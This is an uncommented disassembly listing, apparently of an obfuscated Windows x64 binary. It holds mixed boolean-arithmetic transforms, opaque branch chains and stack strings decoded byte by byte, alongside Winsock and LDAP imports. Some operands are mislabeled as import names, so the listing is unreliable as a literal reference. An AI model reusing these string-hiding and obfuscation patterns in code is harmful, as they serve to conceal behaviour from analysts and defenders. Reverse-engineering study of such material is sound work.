jmp 0x14010584b
movabs rcx, 0x63b67bdd8c95d480
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
jmp 0x1401057fc
movabs rcx, 0x54f0c8546e46be80
jmp 0x1401057c2
movabs rcx, 0x462b14cb4ff7a880
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
movabs rcx, 0x7c62cf0acc747680
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x80
add cl, r8b
mov byte [rbp + r9 + 0x80], cl
inc r10
dec r9
jmp 0x140105911
movabs rdx, 0x3002877da2810780
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x80
add bl, dl
movabs rcx, 0x83c5a8cf5b9c0180
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, 0x80
add r8b, cl
add r8b, bl
mov byte [rbp + r9 + 0x80], r8b
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140105911
mov r8, r11
movabs rdx, 0x19d9fa2ff50a6680
add rdx, r9
mov al, dl
and al, r11b
mov bl, r11b
add al, al
sub bl, al
add bl, 0x80
add bl, dl
movabs rdx, 0x8b288293eac38c80
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, 0x80
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x80], al
inc r10
add rax, r10
sub r9, rax
movabs rcx, 0x8ed9ef7632575200
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
mov byte [rbp + r9 + 0x80], r8b
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140105902
movabs rcx, 0xb1446a6d6bb5080
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea ebx, [rcx + r11]
add bl, 0x80
movzx eax, byte [rbp + r9 + 0x80]
add rax, r10
add r9, rax
inc r9
jmp 0x140104f40
movabs rcx, 0xeb2d918f2fc59b80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x140104f3d
lea rcx, [r9 + r15]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x140104f2d
lea rdx, [rbp + 0x148b280]
jmp 0x14010596d
lea rdx, [rbp + 0x9c7800]
jmp 0x14010596d
lea rdx, [rbp + 0x80]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0xe40]
call fcn.140089ca0
nop
cmp qword [rbp + 0xec8], 0
je 0x140107e69
mov byte [rbp + 0xbf0], __WSAFDIsSet
mov byte [rbp + 0xbf1], 0xe1
mov byte [rbp + 0xbf2], 0xf2
mov byte [rbp + 0xbf3], 0xf6
mov byte [rbp + 0xbf4], 0xe6
mov byte [rbp + 0xbf5], 0x88
mov byte [rbp + 0xbf6], 0x46
mov byte [rbp + 0xbf7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xbf8], 0xea
mov byte [rbp + 0xbf9], 0xf6
mov byte [rbp + 0xbfa], 0xee
mov byte [rbp + 0xbfb], 0xfe
mov byte [rbp + 0xbfc], 0xff
mov byte [rbp + 0xbfd], 0xed
mov byte [rbp + 0xbfe], 0x87
mov byte [rbp + 0xbff], Ordinal_143
mov byte [rbp + 0xc00], Ordinal_143
mov byte [rbp + 0xc01], 0x3d
mov byte [rbp + 0xc02], 0xfd
mov byte [rbp + 0xc03], Ordinal_60
mov byte [rbp + 0xc04], 0xe8
mov byte [rbp + 0xc05], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xc06], Ordinal_143
mov byte [rbp + 0xc07], 0x9d
mov byte [rbp + 0xc08], Ordinal_143
mov byte [rbp + 0xc09], 0x86
mov byte [rbp + 0xc0a], 0x9f
mov byte [rbp + 0xc0b], 0x9c
mov byte [rbp + 0xc0c], Ordinal_50
mov byte [rbp + 0xc0d], 0xe8
mov byte [rbp + 0xc0e], 0x9c
mov byte [rbp + 0xc0f], 0x83
mov byte [rbp + 0xc10], __WSAFDIsSet
mov byte [rbp + 0xc11], __WSAFDIsSet
mov byte [rbp + 0xc12], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xc13], 0x85
mov byte [rbp + 0xc14], 0x84
mov byte [rbp + 0xc15], 0x80
mov byte [rbp + 0xc16], Ordinal_41
mov byte [rbp + 0xc17], 0xed
mov byte [rbp + 0xc18], 0x9d
mov byte [rbp + 0xc19], __WSAFDIsSet
mov byte [rbp + 0xc1a], __WSAFDIsSet
mov byte [rbp + 0xc1b], 0xe2
mov byte [rbp + 0xc1c], Ordinal_143
mov byte [rbp + 0xc1d], 0x98
mov byte [rbp + 0xc1e], 0xad
mov byte [rbp + 0xc1f], 0xad
mov byte [rbp + 0xc20], Ordinal_32
mov byte [rbp + 0xc21], 0xc1
mov byte [rbp + 0xc22], 0xa7
mov byte [rbp + 0xc23], 0xb7
mov byte [rbp + 0xc24], 0xa5
mov byte [rbp + 0xc25], 0xa6
mov byte [rbp + 0xc26], 0xba
mov byte [rbp + 0xc27], 0xaa
mov byte [rbp + 0xc28], 0xa8
mov byte [rbp + 0xc29], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xc2a], Ordinal_217
mov byte [rbp + 0xc2b], reloc.WS2_32.dll_send
mov byte [rbp + 0xc2c], 0xe5
mov byte [rbp + 0xc2d], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xc2e], 0xc9
mov byte [rbp + 0xc2f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xc30], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xc31], 0xb0
mov byte [rbp + 0xc32], 0xa5
mov byte [rbp + 0xc33], 0xa4
mov byte [rbp + 0xc34], 0xc9
mov byte [rbp + 0xc35], 0xb2
mov byte [rbp + 0xc36], 0xbb
mov byte [rbp + 0xc37], 7
mov byte [rbp + 0xc38], 0xf6
mov byte [rbp + 0xc39], 0xaa
mov byte [rbp + 0xc3a], 0xa9
mov byte [rbp + 0xc3b], Ordinal_200
mov byte [rbp + 0xc3c], 0xbe
mov byte [rbp + 0xc3d], 0xaf
mov byte [rbp + 0xc3e], 0x3f
mov byte [rbp + 0xc3f], reloc.WS2_32.dll_listen
mov byte [rbp + 0xc40], 0xfc
mov byte [rbp + 0xc41], Ordinal_50
mov byte [rbp + 0xc42], Ordinal_79
mov byte [rbp + 0xc43], 0xfb
mov byte [rbp + 0xc44], Ordinal_46
mov byte [rbp + 0xc45], 0x54
mov byte [rbp + 0xc46], 0x58
mov byte [rbp + 0xc47], 0x48
mov byte [rbp + 0xc48], Ordinal_79
mov byte [rbp + 0xc49], gethostname
mov byte [rbp + 0xc4a], 0x5d
mov byte [rbp + 0xc4b], Ordinal_79
mov byte [rbp + 0xc4c], 0xf0
mov byte [rbp + 0xc4d], gethostname
mov byte [rbp + 0xc4e], Ordinal_211
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc4f], xmm0
mov byte [rbp + 0xc5f], al
mov dil, byte [rsp + 0x50]
movabs rsi, 0x32bb86de180626b2
movabs r12, 0xf5f603a64b25cd16
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x70
jae 0x140106854
movzx r8d, byte [rbp + r9 + 0xbf0]
mov r11, r8
cmp rbx, r9
ja 0x14010684b
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140105cb3
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x22
jmp 0x140105ced
je 0x1401067c7
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14010673b
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140106706
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401066df
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140106695
cmp r10, r9
ja 0x140106842
lea rax, [r10 + 9]
cmp rbx, rax
jae 0x140105d22
movabs rdx, 0x29621037f8812c9a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x36
add dil, dl
jmp 0x140105d63
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140106674
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140106650
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140106626
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401065ff
lea rax, [r10 + 7]
cmp rbx, rax
je 0x1401065d9
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1401062c6
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401062a3
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14010627f
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x140106258
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x140106237
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x140106214
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x1401061f0
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x1401061cc
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x1401061a8
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x140106184
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x140105d70
lea rbx, [r10 + 0x41]
lea r10, [rbx + 0x7a]
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x140106824
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x140106800
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x140105f73
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x140105f4c
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x140105f25
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x140106161
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x14010613e
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x1401060ee
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x1401060c3
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x140105d70
lea rbx, [r10 + 0x40]
lea r10, [rbx + 0x28]
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x14010609c
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x140106088
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x140106065
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x140106041
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x14010601a
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x140105ff7
lea rax, [r10 + 1]
cmp rbx, rax
ja 0x140105fd4
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x140105fad
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x140105f99
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x140105d70
lea rbx, [r10 + 3]
lea r10, [rbx + 2]
jmp 0x140105d70
movabs rdx, 0x8bd23a970b5702a6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140105d63
movabs rdx, 0x265b2cdadb4ab542
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140105ced
movabs rdx, 0xc0e41f1eab3e67de
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x12
add dil, dl
jmp 0x140105c84
movabs rdx, 0x4b1081bfc40964d0
mov ecx, Ordinal_41
jmp 0x14010640a
movabs rdx, 0xe599740393fd176c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401066da
movabs rcx, 0x8022664763f0ca08
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x1401066fe
movabs rdx, 0x1aab588b33e47ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7c
jmp 0x140106579
movabs rdx, 0xb5344acf03d82f40
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140106648
movabs rcx, 0x4fbd3d12d3cbe1dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 4
jmp 0x140106728
movabs rdx, 0xea462f56a3bf9478
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x48
jmp 0x1401065f7
movabs rdx, 0x84cf219a73b34714
mov ecx, Ordinal_60
jmp 0x1401061b7
movabs rdx, 0x1f5813de43a6f9b0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401067e9
movabs rcx, 0x21ae7187cb883836
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7a
mov byte [rbp + r9 + 0xbf0], dil
jmp 0x1401067f8
movabs rdx, 0xbc3763cb9b7bead2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp r10, 5
jb 0x1401060e1
movabs rcx, 0x36b7bc7d92736aec
add rcx, r9
mov al, cl
and al, r8b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x1401066b6
movabs rdx, 0x56c0560f6b6f9d6e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 2
jmp 0x140106328
movabs rdx, 0xf14948533b63500a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x46
jmp 0x1401062e9
movabs rcx, 0xf84c614fd3070b9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x44
jmp 0x1401067e9
movabs rdx, 0x92d55393a2fabe38
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1401063b9
movabs rdx, 0x2d5e45d772ee70d4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1401065f7
movabs rcx, 0xc7e7381b42e22370
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x140106728
movabs rcx, 0x62702a5f12d5d60c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x140106648
movabs rdx, 0xfcf91ca2e2c988a8
mov ecx, 0x34
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140106576
movabs rdx, 0x97820ee6b2bd3b44
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401066fe
movabs rcx, 0x320b012a82b0ede0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x20
jmp 0x1401066da
movabs rdx, 0xcc93f36e52a4a07c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x64
jmp 0x1401066b3
lea rax, [r10 + 0x5a]
cmp rbx, rax
jae 0x140106365
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0x80
je 0x1401065aa
lea rax, [r10 + 0x64]
cmp rbx, rax
jbe 0x1401063f2
movabs rdx, 0x16af22ebb977386a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp rbx, 6
jae 0x140106553
lea rax, [r10 + 0x42]
cmp rbx, rax
jbe 0x1401064ac
movabs rcx, 0x40113323b1f86504
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x140106110
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140106392
movabs rcx, 0x52c4206ff1025934
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
jmp 0x1401067e9
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401063c1
movabs rdx, 0xb83b2e2c210ea698
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x28
add dil, dl
jmp 0x140106790
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401062ec
movabs rcx, 0xe8a05760b1338ec4
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x5c
jmp 0x140106648
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140106422
movabs rdx, 0x7c2630a7e98385ce
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401066b6
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010644f
movabs rcx, 0x47144c20499c2096
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x1a
jmp 0x1401066fe
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14010647c
movabs rcx, 0x77797554d9c108c2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x4e
jmp 0x140106728
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14010632b
movabs rdx, 0xdcf0831109cd5626
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xa
jmp 0x1401065f7
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401064d9
movabs rdx, 0xa58840dfe204b268
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1401067e6
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140106505
movabs rdx, 0x70765c58421d4d30
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x50
jmp 0x1401065f7
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140106522
movabs rdx, 0xa0db858cd242355c
mov ecx, 0x3e
jmp 0x140106246
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140106110
movabs rcx, 0x6529349024e82c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x40
jmp 0x1401066fe
movabs rdx, 0x9c2eca39c27fb850
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r9 + 0xbf0]
sub dil, al
sub dil, 0x30
add dil, r8b
add dil, dl
movabs rdx, 0xceea5117da85df02
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, dil
sub cl, al
sub cl, 0xe
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xbf0], cl
jmp 0x140106648
movabs rdx, 0x1a5d7f5f28c05b4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0xbf0]
add dil, dl
add dil, r8b
jmp 0x14010675c
movabs rdx, 0xefa3705d48d74a56
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5a
add dil, dl
jmp 0x14010675c
movabs rdx, 0x8a2c62a118cafcf2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140106728
movabs rdx, 0x24b554e4e8beaf8e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
add rbx, r10
jmp 0x140106728
movabs rcx, 0x59c7396c88a614c6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6a
jmp 0x1401066fe
movabs rdx, 0x8ed91df4288d79fe
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1401066b3
movabs rdx, 0xc3eb027bc874df36
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7a
add dil, dl
movabs rcx, 0x6973435baa79919e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x52
add cl, r8b
mov byte [rbp + r9 + 0xbf0], cl
inc r10
jmp 0x1401066fe
movabs rcx, 0xf8fce703685c446e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 2
dec r9
jmp 0x1401067f8
movabs rdx, 0xc897bdced8375c42
add rdx, r9
mov al, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401067f8
mov r8, r11
movabs rax, 0x6320b012a82b0ede
add rax, r9
and r11b, al
add r11b, r11b
sub al, r11b
lea edi, [r8 + rax]
sub dil, 0x12
movabs rdx, 0x34615ed40a922c66
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xbf0], al
inc r10
add rax, r10
sub r9, rax
movabs rdx, 0x671ce5b222985318
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xbf0], cl
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x1401067e9
movabs rdx, 0x9832949a48127416
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, byte [rbp + r9 + 0xbf0]
add rax, r10
add r9, rax
inc r9
jmp 0x140105c71
movabs rcx, 0x5b6d11627b321a7a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x56
jmp 0x140105c6e
lea rdx, [r9 + r12]
mov al, r8b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140105c5e
lea rdx, [rbp + 0x1620b88]
jmp 0x14010685b
lea rdx, [rbp + 0x168323a]
jmp 0x14010685b
lea rdx, [rbp + 0xbf0]
lea rcx, [rbp + 0xe40]
call fcn.1400889b0
lea rcx, [rbp + 0xe40]
call fcn.1401aa1b8
mov byte [rbp + 0xa0], __WSAFDIsSet
mov byte [rbp + 0xa1], 0x41
mov byte [rbp + 0xa2], WSACleanup
mov byte [rbp + 0xa3], 0x76
mov byte [rbp + 0xa4], 0x46
mov byte [rbp + 0xa5], 0x68
mov byte [rbp + 0xa6], 0xb4
mov byte [rbp + 0xa7], Ordinal_79
mov byte [rbp + 0xa8], Ordinal_79
mov byte [rbp + 0xa9], Ordinal_79
mov byte [rbp + 0xaa], Ordinal_200
xor eax, eax
mov dword [rbp + 0xab], eax
mov word [rbp + 0xaf], ax
mov bl, byte [rsp + 0x50]
movabs rsi, 0xf4683f0d7d443fe2
movabs r12, 0x115843e719ecb0a6
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x11
jae 0x14010735a
movzx r8d, byte [rbp + r9 + 0xa0]
mov r11, r8
cmp rdi, r9
ja 0x140107351
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14010693b
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
sub bl, 0x2e
jmp 0x140106968
je 0x1401072cd
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140107248
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14010721f
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401071d5
cmp r10, r9
ja 0x140107348
lea rax, [r10 + 0x200]
cmp rdi, rax
jae 0x140106991
movabs rdx, 0xc8d2c1b46993d8a
mov ecx, Ordinal_32
jmp 0x140106b1a
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401071b6
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140107196
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140107160
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14010713e
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14010711c
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x140106e25
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140106dff
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140106ddd
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x140106dbb
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140106d95
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140106d73
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x140106d4d
lea rdi, [r10 + 0x28]
lea r10, [rdi + 0x200]
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14010732b
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x140107305
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x140106b57
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x140106b31
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x140106b0b
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x140106ced
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140106c5f
lea rdi, [r10 + 9]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x140106c3c
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x140106c16
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140106bf4
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x140106bd1
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x140106bbd
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x140106b9c
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x140106b79
lea rdi, [r10 + 4]
lea r10, [rdi + 0xa]
jmp 0x1401069df
movabs rdx, 0xb49a3c53040eafb6
mov ecx, 3
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401069d2
movabs rdx, 0xcbc9be3809862ff2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140106968
movabs rcx, 0xe2f9401d0efdb02e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x42
jmp 0x14010690d
movabs rcx, 0x92c864a43fb8ecc8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x78
jmp 0x140107240
movabs rdx, 0xa9f7e68945306d04
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x1c
jmp 0x1401070c0
movabs rdx, 0xc127686e4aa7ed40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140106eeb
movabs rcx, 0xd856ea53501f6d7c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x64
jmp 0x140107184
movabs rcx, 0xef866c385596edb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x140107268
movabs rdx, 0x6b5ee1d5b0e6df4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140107298
movabs rcx, 0x1de570026085ee30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x50
jmp 0x1401072ee
movabs rdx, 0x863b3888f91faf3e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, 0x64
jae 0x140107099
lea rax, [r10 + 0x1000]
cmp rdi, rax
jbe 0x140106fe7
